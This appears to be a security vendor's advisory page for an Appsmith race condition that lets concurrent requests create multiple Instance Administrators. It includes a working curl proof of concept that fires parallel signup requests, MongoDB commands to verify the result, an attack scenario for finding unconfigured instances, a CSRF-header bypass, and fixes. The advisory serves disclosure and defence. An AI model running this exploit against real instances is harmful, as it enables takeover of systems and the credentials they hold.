GHSA-9wcp-79g5-5c3c
HIGHGHSA-9wcp-79g5-5c3c is a high-severity (CVSS 8.1) vulnerability in com.appsmith:server. O3 Security confirms whether GHSA-9wcp-79g5-5c3c is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Appsmith Super User Creation Race Condition Allows Multiple Instance Administrators
Blast Radius
com.appsmith:serverReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
The /api/v1/users/super endpoint enforces a restriction that only one super user (Instance Administrator) can be created during initial setup. However, due to a Time-of-Check-Time-of-Use (TOCTOU) race condition in the signupAndLoginSuper() method, concurrent requests can bypass this restriction, allowing multiple unauthorized users to obtain Instance Administrator privileges.
Severity
- CWE: CWE-367 (Time-of-Check Time-of-Use Race Condition)
- CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H — 8.1 (HIGH)
Affected Version
- Appsmith Community Edition v1.97.0-SNAPSHOT (release branch)
- Docker image:
appsmith/appsmith-ce:release(pulled 2026-02-25) - Commit:
55ac824f8d42f934cc7a69f8abc52880a6ad39ef
Root Cause
The signupAndLoginSuper() method in UserSignupCEImpl.java (lines 270–295) performs a non-atomic check-then-act sequence:
// Step 1: CHECK — query MongoDB for existing users
userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(AppsmithError.UNAUTHORIZED_ACCESS));
}
// Step 2: ACT — create user and grant admin (not atomic with Step 1)
return signupAndLogin(user, exchange);
})
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
The isUsersEmpty() method (CustomUserRepositoryCEImpl.java, lines 35–44) queries MongoDB without any locking mechanism:
public Mono<Boolean> isUsersEmpty() {
return queryBuilder()
.criteria(Bridge.or(
notExists(User.Fields.isSystemGenerated),
Bridge.isFalse(User.Fields.isSystemGenerated)))
.limit(1).all(IdOnly.class).count().map(count -> count == 0);
}
There is no @Transactional annotation, no distributed lock, and no MongoDB transaction wrapping the check-and-create sequence. In the reactive WebFlux environment, concurrent requests are processed in parallel, widening the race window significantly.
Proof of Concept
Environment Setup
# Start a fresh Appsmith instance
docker run -d --name appsmith-test -p 9090:80 appsmith/appsmith-ce:release
# Wait ~90 seconds for all services to initialize
Step 1: Verify Fresh State
curl -s http://localhost:9090/api/v1/users/me | python3 -m json.tool
# Expected: {"data": {"email": "anonymousUser", ...}}
Step 2: Send Concurrent Requests
for i in $(seq 1 10); do
curl -s -o /tmp/race_result_${i}.txt -w "%{http_code}" \
-X POST http://localhost:9090/api/v1/users/super \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-By: Appsmith" \
-d "email=racer${i}@evil.com&password=TestP4ssw0rd!&name=Racer${i}&allowCollectingAnonymousData=false" &
done
wait
# Check results
for i in $(seq 1 10); do
echo "racer${i}: $(cat /tmp/race_result_${i}.txt)"
done
Step 3: Verify in MongoDB
// Connect to MongoDB inside the container
// docker exec -it appsmith-test mongosh <connection_string>
// Count non-system users (expected: 1, actual: 10)
db.user.countDocuments({ isSystemGenerated: { $ne: true } })
// Check who has manage:users permission
db.user.find(
{ isSystemGenerated: { $ne: true } },
{ email: 1, "policies.permission": 1 }
).forEach(u => {
const hasManage = u.policies?.some(p => p.permission === "manage:users");
printjson({ email: u.email, manage_users: hasManage });
});
// Check Instance Administrator Role assignments
db.permissionGroup.findOne(
{ name: "Instance Administrator Role" },
{ assignedToUserIds: 1 }
);
Observed Results
| Metric | Expected | Actual |
|---|---|---|
| Users created | 1 | 10 |
Users with manage:users policy | 1 | 10 |
| Users in Instance Administrator Role | 1 | 2 |
All 10 concurrent requests returned HTTP 302 (success redirect), bypassing the single-user restriction.
Impact
-
Authorization Bypass: The one-admin-only restriction is completely defeated by concurrent requests.
-
Persistent Backdoor: The attacker's admin account persists alongside the legitimate administrator. The legitimate admin has no indication that another admin exists unless they manually inspect the user list.
-
Full Instance Compromise: Instance Administrator privileges grant:
- User management (create, delete, modify all users)
- Access to all datasource credentials (database passwords, API keys)
- Modification of all applications and their server-side logic
- Environment configuration (SMTP, OAuth, encryption settings)
Attack Scenario
- Attacker monitors for newly deployed Appsmith instances (e.g., via Shodan, Censys, or internal network scanning).
- Attacker polls
GET /api/v1/users/me— if the response contains"email": "anonymousUser", the instance has not been set up yet. - Attacker sends multiple concurrent
POST /api/v1/users/superrequests. - Legitimate administrator completes setup normally, unaware that an attacker account also received Instance Administrator privileges.
- Attacker now has persistent, full administrative access to the instance.
Suggested Fix
Option A: MongoDB Transaction (Recommended)
Wrap the check-and-create in a MongoDB transaction to ensure atomicity:
public Mono<User> signupAndLoginSuper(...) {
return reactiveMongoTemplate.inTransaction().execute(session -> {
return userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(new AppsmithException(
AppsmithError.UNAUTHORIZED_ACCESS));
}
return signupAndLogin(user, exchange);
});
}).single()
.flatMap(user -> userUtils.makeInstanceAdministrator(List.of(user)));
}
Option B: Distributed Lock
Use Redis (already available in Appsmith's stack) to acquire an exclusive lock:
public Mono<User> signupAndLoginSuper(...) {
return redisLockService.acquireLock("super-user-setup", Duration.ofSeconds(10))
.flatMap(lock -> userService.isUsersEmpty()
.flatMap(isEmpty -> {
if (!Boolean.TRUE.equals(isEmpty)) {
return Mono.error(...);
}
return signupAndLogin(user, exchange);
})
.doFinally(signal -> lock.release()));
}
Option C: Unique Constraint
Add a MongoDB unique partial index that prevents more than one super admin:
db.user.createIndex(
{ "isSuperAdmin": 1 },
{ unique: true, partialFilterExpression: { "isSuperAdmin": true } }
);
CSRF Note
The POST /api/v1/users/super endpoint accepts application/x-www-form-urlencoded content type. CSRF protection can be bypassed by including the X-Requested-By: Appsmith header (CsrfConfigCE.java, lines 99–102), which is a static, publicly known value.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | com.appsmith:server | all versions | 1.99 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for com.appsmith:server. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update com.appsmith:server to 1.99 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9wcp-79g5-5c3c is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9wcp-79g5-5c3c is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9wcp-79g5-5c3c. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9wcp-79g5-5c3c in your dependencies?
O3 detects GHSA-9wcp-79g5-5c3c across Maven dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.